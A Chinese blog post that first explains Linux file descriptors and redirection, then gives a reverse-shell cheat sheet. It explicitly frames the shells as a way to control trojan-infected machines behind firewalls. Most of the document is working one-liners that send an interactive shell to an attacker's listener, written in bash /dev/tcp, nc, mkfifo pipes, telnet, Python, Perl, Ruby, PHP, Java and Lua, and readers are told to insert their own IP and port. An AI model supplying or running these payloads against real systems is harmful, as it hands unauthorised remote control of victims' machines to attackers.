文件描述符、重定向与反弹shell
文件描述符
linux文件描述符:可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。其中,
- 0对应stdin,也就是标准输入
- 1对应stdout,也就是标准输出
- 2对应stderr,也就是标准错误
重定向
输入重定向
格式: [n]<word
说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)
例如: cat 0<file
或者cat<file
代表输入重定向到file文件,用cat查看时,从标准输入读取内容,也就是读取了file文件内容
输出重定向
格式: [n]>word
说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)
例如: echo hello 1>file
或者echo hello >file
echo的内容hello属于标准输出,它被重定向到file文件中
标准输出与标准错误输出重定向
格式: &> word 或 >& word
说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的,详细的介绍后面会有)
例如: mkdir &> file
mkdir报错,由于标准错误被重定向到file文件,可以在file中看到报错内容
文件描述符的复制
格式: [n]<&[m] 或者 [n]>&[m] (这里所有字符之间不要有空格)
说明:
这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开 因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响) 这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符
这里就可以用上面的例子作为演示,将错误和正确的输出都输入到文件中
mkdir > file 2>&1
(2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的,详细的介绍后面会有)
- 首先解析
>file
- 然后解析
2>&1
这样标准输入和标准错误都在file文件中显示
mkdir 2>&1 >file
exec 绑定重定向
格式:exec [n] </> file/[n]
说明:2.1~2.4的输入输出重定向将输入和输出绑定文件或者设备以后只对当前的那条指令有效,如果需要接下来的指令都支持的话就需要使用 exec 指令
格式: [n]<>word
说明:以读写方式打开word指代的文件,并将n重定向到该文件。如果n不指定的话,默认为标准输入。
反弹shell的命令
reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
适用情况
通常用于被控端因防火墙受限、权限不足、端口被占用等情形
某客户机中了你的网马,但是它在局域网内,你直接连接不了。 它的ip会动态改变,你不能持续控制。 由于防火墙等限制,对方机器只能发送请求,不能接收请求。 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
反弹shell命令
- 攻击者ip: 192.168.146.129
- 受害者ip: 192.168.146.128
攻击者机器执行nc -lvvp 2333
被攻击机器上执行bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
bash -i
-i选项代表启动bash的交互shell/dev/tcp
是Linux中的一个特殊文件,打开这个文件就类似于发出了一个socket调用,/dev/tcp/ip/port
建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
整个命令从左到右解析,对于前面的部分,bash -i > /dev/tcp/192.168.146.129/2333
,此时文件描述符如下:
此时在执行这条命令的受害者终端输入命令时,对应的输出结果会显示在攻击者ip192.168.146.129
的终端上
/dev/tcp/host/port 其实是一个 bash 的 feature,由于是 bash的 feature,因此在别的 shell下就不能生效,所以需要注意使用shell类型。可以使用这个命令增强健壮性
bash -c 'bash -i 1>&/dev/tcp/ip/port 2>&1 0>&1'
如果命令变成bash -i < /dev/tcp/192.168.146.129/2333
,那么就是把受害者shell的输入重定向到192.168.146.129:2333
,也就是攻击者shell输入命令变成stdin,在受害者终端输出结果。
为了使攻击者既能输入命令,也能接受到命令的输出结果,于是执行bash -i > /dev/tcp/192.168.146.129/2333 0>&1
,这样文件描述符变成
也就是受害者shell的标准输入和标准输出都绑定到了192.168.146.129:2333
但是这样的话,受害者机器上还是可以看到攻击者的输入,为了解决这个问题,使用&>
,使命令变成bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1
这个命令执行相当于如下文件描述符,我们把012都绑定到了攻击者shell
等价命令
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
,其中bash -i >& /dev/tcp/192.168.146.129/2333
把标准错误和标准输出都重定向到/dev/tcp/192.168.146.129/2333,而0>&1又把标准输入重定向到标准输出,也就是/dev/tcp/192.168.146.129/2333,于是实现了和上面的命令同样的效果
其他命令
另一种绑定
bash -i >& /dev/tcp/192.168.146.129/2333 <&2
等价于bash -i >& /dev/tcp/192.168.146.129/2333 0<&2
使用exec
exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done
其中exec 5<>/dev/tcp/192.168.146.129/2333
表示把文件描述符5重定向到/dev/tcp/192.168.146.129/2333
,并且是读写方式
command|while read line do .....done
原句是
while read line
do
…
done < file
从文件中依次读取每一行,将其赋值给 line 变量(当然这里变量可以很多,以空格分隔,这里我就举一个变量的例子,如果是一个变量的话,那么一整行都是它的了),之后再在循环中对line进行操作。
而现在我们不是从file 文件中输入了,我们使用管道符对攻击者机器上输入的命令依次执行,并将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。
使用nc
攻击者执行nc -lvvp 2333
受害者执行nc -e /bin/sh 192.168.146.129 2333
如果是ubuntu默认安装的nc,是没有-e选项的,查看文档发现也有说明
如果没有-e选项,可以使用如下语句
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f
mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路
类似命令
mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe
telnet反弹
攻击者执行
nc -lvvp 4444
nc -lvvp 5555
受害者执行telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555
这样可以在4444处输入,在5555处获得输出结果,另一个版本rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p
这里也可以
nc x.x.x.x 9999|/bin/bash|nc x.x.x.x 8888
其他语言的反弹shell
以下更换x.x.x.x和5555为自己的ip和port即可,python/java/php没问题,其他几个没用过不懂
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
perl
perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
或者
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
或者
ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
php
php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'
java
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"
参考链接
- 原文作者:sakai
- 原文链接:http://segogt.github.io/post/%E6%96%87%E4%BB%B6%E6%8F%8F%E8%BF%B0%E7%AC%A6%E9%87%8D%E5%AE%9A%E5%90%91%E4%B8%8E%E5%8F%8D%E5%BC%B9shell/
- 版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。